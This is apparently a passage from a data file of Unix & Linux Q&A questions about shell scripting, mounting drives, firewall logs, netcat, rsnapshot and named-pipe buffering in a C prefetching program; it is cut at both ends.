delims=/- \" %%a in ('date/T') do set /a YEAR=%%d if [ $DY==\"08\" ]; then DAY=8 fi if [ $DY==\"09\" ]; then DAY=9 fi if [ $MON==\"08\" ]; then MONTH=8 fi if [ $MON==\"09\" ]; then MONTH=9 fi if [ $DY -ne \"08\" ]; then if [ $DY -ne \"09\" ]; then DAY=%DY% fi fi if [ $MON -ne \"08\" ]; then if [ $MON -ne \"09\" ]; then MONTH=%MON% fi fi PREVDAY=%DAY%-1 PREVMONTH=%MONTH%-1 PREVYEAR=%YEAR%-1 ds=%YEAR%_%MONTH%_%PREVDAY%- if [ %DAY%==1 ]; then if [ %PREVMONTH%==1 ] then ds=%YEAR%_%PREVMONTH%_31- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==2 ] then ds=%YEAR%_%PREVMONTH%_28- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==3 ] then ds=%YEAR%_%PREVMONTH%_31- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==4 ] then ds=%YEAR%_%PREVMONTH%_30- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==5 ] then ds=%YEAR%_%PREVMONTH%_31- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==6 ] then ds=%YEAR%_%PREVMONTH%_30- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==7 ] then ds=%YEAR%_%PREVMONTH%_31- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==8 ] then ds=%YEAR%_%PREVMONTH%_31- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==9 ] then ds=%YEAR%_%PREVMONTH%_30- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==10 ] then ds=%YEAR%_%PREVMONTH%_31- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==11 ] then ds=%YEAR%_%PREVMONTH%_30- fi fi if [ %DAY%==1 ]; then if [ %PREVMONTH%==0 ] then ds=%PREVYEAR%_12_31- fi fi"} {"_id": "153554", "title": "Command not found problem in Linux-Ubuntu terminal", "text": "My friend is having problem in trying to call `make` to compile an application which both me and a second friend have previously successfully compiled. The file uses a \"linux-devkit\" pack that possess a /bin subdirectory containing lots of file called `arm-arago-linux-gnueabi-`something that are essentially executable files (e.g. one is `arm-arago-linux-gnueabi-gcc` which is essentially the GCC compiler). Part of the compile process when we call `make install` in the Makefile directories of our project consists in calls to such \"linux-devkit files\". When I or my second friend call the command in the Linux terminal, everything runs fine to the end. But when my friends do it, an error message appears: arm-arago-linux-gnueabi-gcc: No such command found (Note: translated from a Portuguese Ubuntu) After doing countless tests we did managed to find an interesting difference: if we go by Terminal to the `~/linux-devkit/bin` folder and call `arm-arago- linux-gnueabi-gcc` in one of the two working systems, the answer is one that essentially tells the file was found, but command specifications are lacking: arm-arago-linux-gnueabi-gcc: no input files and this was a expected error message. But when my friend with the problem executes the same command, the error message is: bash: ./arm-arago-linux-gnueabi-gcc: File or directory not found (Note: translated from a Portuguese Ubuntu) It is as if the Terminal simply wasn't finding the file to use it, even tough it appears when `ls` is called as well as when using Nautilus! Or user-permissions for those files are 100% equal, so it can't be a problem there. Does anybody have any guess on what's going on? * * * EDIT: Here is the answer I got, Volker Siegel: > I'm sure file is in place... > > Thats is output, thanks for help. ~/re8k/linux-devkit/bin$ export LC_ALL=C ~/re8k/linux-devkit/bin$ command -v arm-arago-linux-gnueabi-gcc ~/re8k/linux-devkit/bin$ ls -ld ~/re8k/linux-devkit ~/re8k/linux-devkit/bin ./arm-arago-linux-gnueabi-gcc -rwxr-xr-x 1 diogenes diogenes 448843 Jul 1 2011 ./arm-arago-linux-gnueabi-gcc drwxr-xr-x 12 diogenes diogenes 4096 Apr 15 17:28 /home/diogenes/re8k/linux-devkit drwxr-xr-x 2 diogenes diogenes 4096 Sep 3 10:59 /home/diogenes/re8k/linux-devkit/bin ~/re8k/linux-devkit/bin$ head -1 ./arm-arago-linux-gnueabi-gcc ELF\ufffd\ufffd4\ufffdg4('$44\ufffd4\ufffd44\ufffd4\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdHH\ufffdH\ufffdDDQ\ufffdtdR\ufffdtd\ufffd\ufffd\ufffd/l!\ufffd\ufffd\u051fX-linux.so.2GNUGNUI\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd,\ufffd_\ufffd_b\ufffd diogenes@diogenes-VirtualBox:~/re8k/linux-devkit/bin$ mount | grep \"\\s$(stat -c%m .)\\s\" /dev/sda1 on / type ext4 (rw,errors=remount-ro) EDIT 2: diogenes@diogenes-VirtualBox:~/re8k/linux-devkit/bin$ ./arm-arago-linux-gnueabi-gcc bash: ./arm-arago-linux-gnueabi-gcc: No such file or directory A Print Screen to complement: ![Print Screen of Terminal](http://i.stack.imgur.com/blbPh.png)"} {"_id": "146089", "title": "Format output to a specific line length", "text": "So I have some output that has very long lines, and I want to have it formatted to lines no more than 80 columns wide, but I don't want to split words because they are in the column limit. I tried sed 's/.\\{80\\}/&\\n/g' but has the problem of splitting words and making some lines begin with a space. I managed to do it with Vim, setting `textwidth` to 80, going to the beginnig of the file and executing `gqG` to format the text. But \u00a1 would rather do it with `sed`, `awk` or something similar to include it in a script."} {"_id": "146086", "title": "Curious about strange ICMP type 3 code 10 traffic to my IP address", "text": "My firewall (`iptables`) logs some strange ICMP type 3 code 10 traffic that I am curious to understand (specifically how or if this could be an exploit of some sort). > Type 3 = Destination Unreachable > Code 10 = Communication with Destination Host is Administratively > Prohibited). The logged traffic (4-6 packets a few seconds apart, once a day for the last months): > **IN** =eth0 **OUT** = **MAC** = _(eth0 MAC)_ **SRC** = _(Foreign IP > address)_ **DST** = _(My IP address)_ **LEN** =72 **TOS** =0x00 **PREC** > =0x00 **TTL** =50 **ID** =35145 **PROTO** =ICMP **TYPE** =3 **CODE** =10 [ > **SRC** = _(My IP address)_ **DST** = _(Foreign IP address)_ **LEN** =44 > **TOS** =0x00 **PREC** =0x00 **TTL** =50 **ID** =0 **DF** **PROTO** =TCP > **SPT** =25 **DPT** =53454 **WINDOW** =28200 **RES** =0x00 **ACK** **SYN** > **URGP** =0] All logs indicate that _(Foreign IP address)_ only transmits the above ICMP packet. No other traffic from _(Foreign IP address)_ is recorded in the same time period (see update below). By default, the system logs and drops any traffic originating from the country of _(Foreign IP address)_. Could this be an exploit, perhaps to trick _(My IP address)_ into transmitting something to _(Foreign IP address)_ , assuming I did not drop the traffic by default? Any insights are welcome. **Update** : The logs show that _(Foreign IP address)_ consistently connects to port 80 and 443 prior to the ICMP packets (9 and 7 hours before the ICMP packets, respectively). Both attempts dropped by the default firewall policy. According to Network-Tools.com the origin of _(Foreign IP address)_ is China(CN) in region Southern and Eastern Asia, and no host name is associated with the IP address."} {"_id": "146085", "title": "top command on multi core processor", "text": "I am using freescale IMX6 quad processor. I want to know if the `top` command lists the CPU usage of all 4 cores or of a single core. I am seeing an application's CPU usage being the same with 4 cores and with a single core. I was guessing the CPU usage by the application will increase on a single core and decrease on 4 cores but it has not changed."} {"_id": "146084", "title": "Cube not working in Fedora 20 KDE", "text": "When I switch desktops on my Fedora 20 system, with the \"desktop cube\" it doesn't work. Instead of showing the cube effect, it displays briefly LibreOffice with an open document which I closed 10 minutes ago, and then it displays the selected desktop. I have 4 active desktops. Libreoffice does not show up in running processes. Also when the system has turned off the display when Idle and resuming, the screen is frozen and the cube doesn't work, not until I select a different desktop does the cube work and the screen is active. What is happening here and how to resolve it?"} {"_id": "146080", "title": "How do I find out what filesystem drivers are compiled-in into the linux kernel?", "text": "On a running linux system, what is a portable (among linux distributions) way to find out what filesystems the current kernel has compiled-in (not through modules) support for? Consider for example my current Ubuntu x86_64 kernel: `3.11.0-24-generic #41-Ubuntu`. It has for instance no `/proc/config.gz`, which would be my first thought otherwise. The reason I'm interested is that I'd like to (programmatically) build a rescue environment with the current kernel and an initial ramdisk that the kernel will be able to load/mount. **Is is as simple as comparing** `/proc/filesystems` **with** `lsmod` **?** If so: Do the modules always have the exact same name (first column from `lsmod` output) as the filesystem name (last column in `/proc/filesystems`)? Is there perhaps a more modern way such as `/sys` instead of `/proc` to look for info? My current approach is as follows. Can someone confirm that it is correct, or advise how to do it instead?: for fscand in $(awk '{print $NF}' /proc/filesystems) do if test $(lsmod | grep -c -e '^'${fscand}'[^a-z0-9_-]') -eq 0 then candlist=\"${fscand} ${candlist}\" fi done for fscand in $candlist do echo $fscand is compiled-in done"} {"_id": "37410", "title": "Gnome update-notifier doesn't show updates when user not in sudo group (Debian Squeeze)", "text": "Gnome desktop notifications of new updates is not working on my system. I noticed that the notifications stopped working when I removed my desktop user from the sudo group (I prefer to have a separate user with sudo privileges). I found the following post in Debian bugs which suggests that it is necessary for the desktop user to be in the sudo group for the updates notifications to work: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=613566 The update-notifier man page mentions the following commandline option: --force \"Force start even if the user is not in the admin group.\" Should I consider adding the above option to update-notifier in the startup applications list? Doing \"ps aux | grep update\" shows that update-notifier is already running, so perhaps it is another process that is the source of the problem? Thanks in advance for any assistance. * Debian Squeeze * 2.6.32-5-686 * update-notifier 0.99.3debian8"} {"_id": "37411", "title": "Multiline shell script comments - how does this work?", "text": "Recently, I stumbled upon a multiline comment type I have never seen before - here is a script example: echo a # : aaa : ddd # echo b This seems to work, hell, even vim syntax-highlights it. What is this style of commenting called and how to I find more info about it?"} {"_id": "98256", "title": "Compiling programs to OSX", "text": "I have to decide between a MacBook Pro or an iMac. I have a desktop with Ubuntu and I love it. I have experience with terminal and I install texlive, TeXstudio, Bluefish, Geogebra, wxMaxima, gnuplot and so on. My question is: if I choose to replace my desktop by an iMac would it be possible to keep using those programs? I know that there are Mac OS X versions but sometimes they don't update frequently. For example, the official TeXstudio webpage says: > The OS X version is experimental. Since none of the currently active > developers is using OS X, we cannot thoroughly test it. We do our best to > also support OS X but be prepared that there may be some issues. So, is it possible to compile the source code to obtain a version for OS X? Usually I compile these programs by myself. If I choose the MacBook I can keep my desktop (but it is not so new and widescreen like iMac 27\")."} {"_id": "37413", "title": "How do I shut down ports remotely without shutting myself out?", "text": "I have an Ubuntu 11.04 server in a remote location on another continent, so I have no physical access to it. I only interact with it by `ssh` (and `scp`), and intend to only ever interact with it that way. For security purposes, I want to ensure that absolutely all ports on the server are closed, except for `ssh`. My understanding is still vague, despite having tried to find instructions on the web. What I've gathered so far is that I need to \"flush\" the \"iptables\", and also that I need to edit some files (`/etc/hosts`, maybe?), and reboot the machine. Obviously, though, I want to be very careful about this, because if I do it wrong, I could end up accidentally shutting down the ssh port, making the server inaccessible to me. If that happens, I have to go to the server administrator, who will reinstall the server, and make fun of me in the process. I'm not a server admin guru by any stretch, so I'm looking to establish a fool proof set of steps before I do this. So, how do I shut down all ports while still preserving my access? _**Bonus question:_** While doing this, should I, and can I, change the `ssh` port from 22 to a non-standard one? Does it really make a difference?"} {"_id": "37418", "title": "`$RANDOM` is not random within `find`'s `-exec`", "text": "I'm trying to find and move a whole bunch of folders on a linux box. All the folders are named the same, so I am using `echo $RANDOM` to provide a random number to use for a folder name. `echo $RANDOM` does indeed output a random number every time is is run. However, `find . -type d -name .AppleDouble -exec mv \\'{}\\' \\'/raid/data/Storage/AppleDouble/`echo $RANDOM` \\;` uses the same \"random\" number for every folder, and as a result, only moves one folder. I think the issue is that the `$RANDOM` is being evaluated immediately when `find` begins to run. How do I escape it so the value of `$RANDOM` is not evaluated until the `-exec` option begins to run (or what is a better way to do this)? Note: I'm on busybox, so I can't really install anything."} {"_id": "84750", "title": "Is Windows Linux based", "text": "Is Windows Linux based? Because I cannot find a stack exchange site for Windows. If there is not sit for Windows can anybody explain how to request a site."} {"_id": "75111", "title": "Control how long Rsnapshot keeps a file after being deleted", "text": "I have an Rsnapshotting local server that takes snapshots of folders of miscellaneous computers within the local LAN. There are daily, weekly, monthly and yearly snapshots. So somebody puts a file into one of those folders being monitored by Rsnapshot and then some hours later the Rsnapshot server takes his daily snapshot. After that the user deletes this given file. And then the next day the system takes another snapshot. It seems like this file will get permanently deleted on the backup, seven days (for I have 7 dailies) after the last snapshot was taken of it. Are there any precautions for controlling how long a system keeps files that are being deleted, in Rsnapshot? How have others dealt with this issue?"} {"_id": "84752", "title": "Comparing two files using Unix and Awk", "text": "I need to compare two files, File1 and File2 (Separated by space) using 4 fields (Field 1, 2, 4 and 5 of File 1 with field1, 2, 4 and 5 of File2). **Logic:** If column 1, 2 and 4 of File 1 matches with column 1, 2 and 4 of File 2 and there is a mismatch at column 5 then both the lines from File 1 and File 2 are concatenated redirected as output. Therefore, the output file only contains those lines where Column 1, 2 and 4 of File1 and File2 matches and Column 5 does not match. **File1:** sc2/80 20 . A T 86 PASS N=2 F=5;U=4 sc2/60 55 . G T 76 PASS N=2 F=5;U=4 sc2/68 20 . T C 71 PASS N=2 F=5;U=4 sc2/24 24 . T G 31 PASS N=2 F=5;U=4 **File2:** sc2/80 20 . A C 80 PASS N=2 F=5;U=4 sc2/60 55 . G C 72 PASS N=2 F=5;U=4 sc2/68 20 . T C 71 PASS N=2 F=5;U=4 sc2/10 24 . T G 31 PASS N=2 F=5;U=4 sc2/40 59 . T G 31 PASS N=2 F=5;U=4 sc2/24 24 . A G 38 PASS N=2 F=5;U=4 **Output:** sc2/80 20 . A T 86 PASS N=2 F=5;U=4 sc2/80 20 . A C 80 PASS N=2 F=5;U=4 sc2/60 55 . G T 76 PASS N=2 F=5;U=4 sc2/60 55 . G C 72 PASS N=2 F=5;U=4 I am new in the field and I appreciate your help."} {"_id": "3457", "title": "How do I take a list and remove it from a file?", "text": "I have a long list of domain names that I need to remove from /etc/remotedomains. They're probably not in any particular order in the file. Each domain is on one line. How could I iterate through the list and find that line in remote domains and remove it."} {"_id": "3454", "title": "Grabbing the first [x] characters for a string from a pipe", "text": "If I have really long output from a command (single line) but I know I only want the first [x] (let's say 8) characters of the output, what's the easiest way to get that? There aren't any delimiters."} {"_id": "147970", "title": "Cannot mount second 1TB harddrive in Linux, works fine in Windows 8.1", "text": "So I have this problem with my second hard-drive that I have been trying to fix for quite awhile now with no luck. I have searched around to try to find solutions to my problem but nothing seemed to be quite like mine. Basically, I have a Windows 8.1/Antergos (basically Arch Linux) dual boot on my 128GB SSD, and then I have a 1TB hard-drive for storing all my other data. I formatted the 1TB hard-drive through Windows because I didn't have Linux installed at the time. I cannot mount my second hard-drive because it has an \"unknown\" filesystem, even though I know it is NTFS. Here's what gparted shows: ![gparted output](http://i.imgur.com/xdlcfdZ.png) And some other (hopefully) useful information... $ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 931.5G 0 disk \u251c\u2500sda1 8:1 0 128M 0 part \u2514\u2500sda2 8:2 0 931.4G 0 part sdb 8:16 0 111.8G 0 disk \u251c\u2500sdb1 8:17 0 350M 0 part \u251c\u2500sdb2 8:18 0 96.5G 0 part \u251c\u2500sdb3 8:19 0 1K 0 part \u251c\u2500sdb5 8:21 0 6.7G 0 part / \u2514\u2500sdb6 8:22 0 8.3G 0 part /home $ sudo fdisk -l /dev/sda [sudo] password for matthieu: Disk /dev/sda: 931.5 GiB, 1000204886016 bytes, 1953525168 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: gpt Disk identifier: C96FA339-748A-11E3-BE68-BC5FF4E9FCAE Partition 1 does not start on physical sector boundary. Device Start End Size Type /dev/sda1 34 262177 128M Microsoft reserved /dev/sda2 264192 1953523711 931.4G unknown Here's what happens when I try to mount the drive... $ sudo mount /dev/sda2 /mnt/ mount: wrong fs type, bad option, bad superblock on /dev/sda2, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so."} {"_id": "147971", "title": "Is the content of a file always stored continuously?", "text": "In ext filesystems, 1. Is the content of a file always stored continuously? Or the file conent can be partitioned into different parts, with each part stored continuously, and all the parts stored not continuously? (The storage of the content of a file is pointed by its inode). 2. An inode can have several direct and indirect pointers pointing to the content of a file. Are the pointers pointing to different places within the content of the file, to make the file content somehow \"randomly\" accessible? Thanks."} {"_id": "3459", "title": "How could I simplify this command to only use awk?", "text": "awk '/user/ {print $1 }' /etc/userdomains | sed 's/://' the format of /etc/userdomains is domain.tld: user otherdomain.tld: otheruser"} {"_id": "118284", "title": "XFCE - find out which command is executed by a given menu item", "text": "I would like to know which command is executed when I click on a given XFCE menu item. For instance, in my menu, `Applications` contains an item `Users and Groups`, but clicking on it does nothing. I would like to run the same program in the command line to see if there are any error messages, but I do not know which command it is."} {"_id": "147976", "title": "Get allocation status of a file's range in an FS which supports delayed allocation", "text": "For a very large file with delayed-allocation, some sectors may have been allocated and some may not. Delayed allocation is supported by ext4/xfs/etc.. For example, create an empty file and set to very large size using fallocate(). Now the file's size could be GBs, but using `du` you will get a zero disk usage. After some random writes, I want to get whether a specific sector/page of this file has been allocated. Some related system calls such as mincore/fincore work on vm status of page cache. However they don't serve on-disk allocation information. I wonder is there any method to do that. Thanks."} {"_id": "147977", "title": "netcat echo server - possible with pipes instead of commands as strings?", "text": "I want to create an echo server without specifying any of my commands inside strings. I want all commands to be connected by pipes. This doesn't appear possible because the response gets returned before the request can be passed to the response generating logic. It seems I could use ncat but I also would prefer to avoid that. I thought it might be possible with a fifo queue but I'm having trouble getting this to work. **The \"What I'm trying to do\" part** Attempting to justify these restrictions is challenging with my limited verbal skills. But my ultimate goal is to maintain a master script of all my application logic with the convenience of xinetd (but without daemons). Such a master script might have dozens of lines like these: nc -l 8080 | get_person_name.sh | create_insert_statement.sh | sqlplus nc -l 8081 | get_person_id.sh | create_select_statement.sh | sqlplus The 2nd one won't work because it won't be able to return the output to the client. So I'm reducing the problem to implementing an echo server with netcat. I don't want to use strings because all those commands will be dynamic and I just don't want to deal with that extra level of indirection (for a start, my text editor will have far less useful syntax highlighting). I'd be open to a here document solution though."} {"_id": "41339", "title": "How to check/test internal card reader speed", "text": "I got new SD card claimed to be 10 class of speed, but internal Disk utility in linux after test showed up only 6th class of speed. How can I check my card reader speed to be sure that it's not the limit of the device, but the limit of a card? I don't have any approved SD cards to perform tests with them. My card reader shows like this in lspci: 0000:07:00.0 FireWire (IEEE 1394): Ricoh Co Ltd R5C832 IEEE 1394 Controller (rev 05) 0000:07:00.1 SD Host controller: Ricoh Co Ltd R5C822 SD/SDIO/MMC/MS/MSPro Host Adapter (rev 22) 0000:07:00.2 System peripheral: Ricoh Co Ltd R5C592 Memory Stick Bus Host Adapter (rev 12) 0000:07:00.3 System peripheral: Ricoh Co Ltd xD-Picture Card Controller (rev 12)"} {"_id": "134468", "title": "Is there a way to start a VNC-server for an already running X-session?", "text": "For Windows there are VNC-\"servers\" that can be started by the user manually som time after log-in. Is there anything similar for Linux? A program that can be started manually in an already running X-session, and the \"hijacks\" the session making it VNC-controllable - or at least VNC-viewable?"} {"_id": "138128", "title": "Using pkg add with a NanoBSD image", "text": "I'm running into a problem on a NanoBSD installation where I cannot install openjdk7 via pkg add because it first saves to either tmp or var (not sure which) and on a NanoBSD installation, there is not enough space in this particular location. Can someone please help me either modify pkg add or recommend a different way to install openjdk7 on NanoBSD. Thank you!"} {"_id": "134464", "title": "How should I download Red Hat Enterprise Linux?", "text": "I am aware that RHEL is not free ie Red Hat charges money for the support it gives for RHEL and I am also aware of Fedora project of Red Hat. But I want to experience RHEL in my virtual machine for practicing commands as I just started with linux. I want to download RHEL (not from torrent as torrent doesn't work at my college) without any RedHat support as RedHat charges only for support and not the OS."} {"_id": "118282", "title": "Get music from subsonic to run in headless MPD", "text": "I share a subsonic server with several colleagues, together we have around 22k songs up there. Now I want to set up a MPD on something like a raspberry pi to listen to the music from subsonic. I want to use MPD because I can control it wireless via my smartphone or something similar. The problem is that I do not know how to connect the subsonic with the MPD. I can export playlists from subsonic but the URLs are relative to the server's filesystem, so no chance here. Do you have any ideas? The subsonic is set, MPD not. Maybe there is something similar which I can use."} {"_id": "41332", "title": "When merging directories with similarly-named files, how do you ensure that only smaller+earlier files are replaced?", "text": "E.g., if you want to merge two directories with each other (by moving everything from directory 1 into directory 2), and both directory 1 and directory 2 have some files with the same name. Then how can you write code such that if SharedFile is found in both directories, then replace SharedFile in directory 2 with SharedFile in directory 1 IF SharedFile is bigger in directory 1 _and_ SharedFile has a later modification date in directory 1? (but do not replace SharedFile otherwise). I'm fine with both tcsh and bash scripts."} {"_id": "41334", "title": "crontab sets up user variable, redirect output, and detect connetcted network", "text": "I have three problem, all of them are about crontab. 1. Can I access `$HOME` variable in crontab ? for example, use `$HOME` like this: `PATH=$HOME/bin:$HOME/scripts:$PATH` ? or `* * * * * echo \"test\" > $HOME/test.txt` ? 2. I want let crontab redirect normal `stdout` to `/dev/null`, but mail `stderr` to user. For example, when computer is **not** connected to network, then an entry in crontab like `* 2 * * * getmail -n -q ...` will return error, so crontab will send email to user with this error. 3. based on upper example, `getmail` will let crontab mail user when system is **not** connected to network, so I want a method to detect whether user is connected to network. About this method of detecting, it should has bellowing: 1. fast 2. simple 3. easy to combine with other crontab jobs, (like use control: &&, ||, | etc)"} {"_id": "21850", "title": "Repeatably generate a read error for testing?", "text": "I'm trying to test the error handling in some software, in particular what happens when an error occurs reading from a file or pipe. Is there a simple way to send a certain amount of data to stdout and then generate an I/O error? (I.e., the process doing the reading would see read(2) return -1.) A simple shell recipe would be great, but I don't mind writing code if that's the only way."} {"_id": "92935", "title": "What happened to the old files if we mount a drive to the directory?", "text": "mkdir /home then we mount something on `/home`. Say `/home` already contains files. What happen to the old files after a new drive is mounted to that directory?"} {"_id": "144548", "title": "How the contents of a directory are impacted when a file system is mounted on that directory", "text": "How the contents of a directory are impacted (and when and/or if they are available for use) when a file system is mounted on that directory."} {"_id": "138122", "title": "Directories are missing in recovery mode", "text": "My service provider booted my virtual server in the recovery mode and now I'm a little bit lost. I'd like to save some files from my web-directory but I can't find `/var/www`. Though there are files in `/var/` but not my `/www/` folder. Is this a normal thing in recovery mode and what do I have to do to save my files?"} {"_id": "154057", "title": "Script to compare directories and move files (like rsync)", "text": "I use `rsync` to sync data between two servers. If I completely rebuild the directory structure, `rsync` cannot understand this and will attempt to recopy everything. I am aware that Unison is capable of doing this however, where files have just been simply moved around and checksums aren't required, I figured a simple script would suffice (if I'm completely screwing up the use of these great tools (`rsync` & Unison) please let me know!) The bash script will compare two file lists and then move any discrepancies so the two match. The two files are TSV with the first column being the filename & the second being the full path. I'm wanting to compare the two based upon the filename and then move them from the file location specified in the first file (mirror) to the file location specificed in the second file (the source). My initial thought was to create a 2d array with the data from the first file, populate a 3rd column with the path information from the second file and then feed this line by line to the mv command. However, it's my understanding that bash can only handle 1d arrays. My second thought is to 1. parse the data in the first list line by line 2. search for the filename in the second file & return the path 3. run the command mv first-path second-path This will run numerous moves which aren't required (because the file is already in the correct place) but it will get the job done. Any thoughts on this? If the second option is the way to go, what's the best method of performing step 2 above?"} {"_id": "40068", "title": "Damn Small Linux on EEE PC 901", "text": "Has anyone tried to use (either install to HD or LiveUSB) Damn Small Linux on the Asus EEE PC 901 netbook? If so, does it work well? Does it have any problem with the WiFi connection?. I ask because the Asus EEE PC 901 netbook has SSD drives and I do not know if the DSL has support for such discs. Also, I know that the WiFi connection EEE PC 901 has problems on some systems."} {"_id": "113731", "title": "Reading from named pipe freezes when piping tshark output", "text": "I'm trying to implement a web prefetching system. The purpose of a system like this is to \u201cpredict\u201d future requests and prefetch them. The system builds a predictive model from web navigation logs (Squid access.log files). The model is a dependency graph, where a node representing URL A has an arc to a node representing URL B if URL B has been requested immediately after URL A. Once the model is built, the system receives queries of URLs requested by users, and make \u201cpredictions\u201d based on the graph. Predictions are resources (URLs) very likely to be requested in the future. So, based on predictions, the system prefetches these resources to store them in cache prior to users' requests. I'm using the following testing scenario: - A process simulate multiple clients, requesting URLs in a file using libcurl. The process runs in a different PC from the prefetching system. PCs are connected directly via an ethernet cable - Requests made by the client simulator are always the same URLs in the same relative time from the first request made. All requests are going to port 3128 (Prefetch PC Squid listen port) (port 80 DNAT to port 3128 in the client). - The prefetching system runs in a CentOS 6.3 box, kernel 2.6.32-71.el6.i686, 2 core Intel Pentium 4 3.00GHz processor, 4 GB RAM. - The prefetching system is one process with multiple threads. The main thread creates the predictive model and generates predictions based on queries. A \u201clistener\u201d thread reads URLs requested by users and prefetches predicted URLs using libcurl. \u201cListening\u201d means reading from a named pipe (called url_fifo) URLs captured live on an interface using tshark: `stdbuf -o0 tshark -i eth1 tcp port 3128 and \"tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420\" -T fields -e http.request.full_uri >> url_fifo` - Each 10 minutes (1 cycle) the model is updated based on requests from the last cycle. The client tells the system when a cycle ends and so the model is updated. Once the model is updated, the system tells the client to start requesting URLs from the next cycle. Here is the situation: Sometimes reading from the named pipe freezes. No URLs are read from the pipe even though tshark keeps capturing URLs and redirecting them to the named pipe. After an hour (or a couple of hours) all \u201cbuffered\u201d URLs are read in less than 10 minutes. After that, reading from the pipe keeps going ok again. This situation doesn't happen always (50% of times freezes, 50% no). It seems that there is a buffering issue, since tshark keeps capturing URLs and all requests are correctly logged in Squid's access.log. In the beginning, I ran tshark with the `-l` option, so that its output becomes line buffered. Then I started using `stdbuf -o0` (no buffering). Anyway the situation still happens. In the system code, I also tried opening and reading the named pipe as a stream (`FILE *`) and set the stream as no buffered or line buffered (using `setvbuf()` function). The situation still happened. In some cycles requests are faster than in other cycles. Anyway, it doesn't seems to be a fast producer slow consumer issue, since in many repetitions of the test all URLs are correctly read and processed without any freezes. Is there something am I missing related to named pipes and buffering? I'd really appreciate some guidance. Assume networking (interfaces, routing, iptables, squid) is ok. I've not had any issues related to it. Code (assume necessary header files are included): functions.c #define BUFLEN 512 #define QUEUE_LEN 64 #define THREADS_LEN 2 pthread_mutex_t model_lock; pthread_cond_t model_cond, listen_cond; pthread_t queries_thread, listen_thread; short int model_is_updating, model_can_update, program_shutdown; /* Program execution statistics */ Status * program_status; /* Thread pool */ threadpool_t *pool; /* program execution */ int run(void) { Graph_Adj_List * gr = NULL; /* Graph as an adjacency list */ char ** reports = NULL; unsigned report_counter = 0; /* Init program status */ program_status = status_init(); /* Load list of custom web navigation reports to be used to build the initial * version of the predictive model */ reports = file_load_reports(program_config.reports_file); if (!reports) return 0; /* Init mutex and cond */ pthread_mutex_init(&model_lock, NULL); pthread_cond_init(&model_cond, NULL); pthread_cond_init(&listen_cond, NULL); /* Lock */ pthread_mutex_lock (&model_lock); /* Start first cycle */ status_start_cycle(program_status); /* Create initial version of the predictive model */ gr = create_model_from_files(reports, &report_counter, program_config.reports_limit); if (!gr) { /* Unlock */ pthread_mutex_unlock (&model_lock); return 0; } /* Unlock */ pthread_mutex_unlock (&model_lock); /* Start threads */ if (pthread_create(&queries_thread, NULL, fifo_predictions_threaded, (void *)gr) || pthread_create(&listen_thread, NULL, listen_end_of_cycle, NULL)) program_shutdown = 1; /* main loop */ while(!program_shutdown) { /* lock */ pthread_mutex_lock (&model_lock); /* wait for clients' announcement of the end of requests from current cycle */ while (!model_can_update) pthread_cond_wait(&model_cond, &model_lock); /* set updating flag */ model_is_updating = 1; /* Update predictive model, based on Squid's access.log from (about to finish) * current cycle */ adj_list_update_access(gr, program_config.access_file); /* Save statistics related to the current cycle and finish it */ status_finish_cycle(program_status); /* Check if last custom report has been read */ if (!reports[report_counter]) { program_shutdown = 1; pthread_mutex_unlock (&model_lock); break; } /* Start a new cycle */ status_start_cycle(program_status); /* Read a new custom report and update the predictive model */ update_model(gr, reports[report_counter]); report_counter++; /* Updating is done */ model_is_updating = 0; /* Model can't be updated until client announces the end of the cycle * that has just started */ model_can_update = 0; /* Tell client to start sending requests from the new cycle */ if (!signal_start_cycle()) { program_shutdown = 1; pthread_mutex_unlock (&model_lock); break; } /* Signal listener thread that a new cycle has begin */ pthread_cond_signal(&listen_cond); /* Unlock */ pthread_mutex_unlock (&model_lock); } /* Finish threads */ pthread_cancel(listen_thread); pthread_cancel(queries_thread); pthread_join(listen_thread, NULL); pthread_join(queries_thread, NULL); /* Free memory */ adj_list_free_all2(&gr); file_reports_free_all(&reports); pthread_cond_destroy(&model_cond); pthread_cond_destroy(&listen_cond); pthread_mutex_destroy(&model_lock); status_free(&program_status); return 1; } void * fifo_predictions_threaded(void * data) { Graph_Adj_List * gr = (Graph_Adj_List *) data; /* Set thread cancel type */ pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); while (!program_shutdown) { pthread_mutex_lock(&model_lock); /* Pause reading from named pipe while the model is being updated */ while(model_is_updating) pthread_cond_wait(&listen_cond, &model_lock); pthread_mutex_unlock(&model_lock); /* Read URLs from named pipe */ fifo_predictions(gr, program_config.fifo); } pthread_exit(NULL); return NULL; } int fifo_predictions(Graph_Adj_List * gr, const u8 * fifo) { u8 cad[BUFLEN] = { '\\0' }; u8 * ini = NULL, * fin = NULL, * fullurl = NULL; int i, fifo_descriptor, read_urls = 0, fullurl_len = 0, incomplete_url = 1; FILE * fifo_file = NULL; /* Open fifo in blocking mode */ fifo_descriptor = open(CHAR_CAST fifo, O_RDONLY); /* Open fifo as a stream */ // fifo_file = fopen(fifo, \"r\"); // if (!fifo_file) if (fifo_descriptor == -1) return 0; /* If fifo is opened as a stream, set it line buffered */ // setlinebuf(fifo_file); do { if ((i = read(fifo_descriptor, cad, BUFLEN - 1)) == -1) // if ( fgets(cad, BUFLEN-1, fifo_file) == NULL) ERROR(__FILE__, __FUNCTION__, __LINE__, \"Fifo read error\"); else { // i = strlen(cad); cad[i] = '\\0'; read_urls = 0; if (i > 0) { int j = 0; for (j = 0, ini = cad, fin = NULL ; cad[j] != '\\0'; j++) { 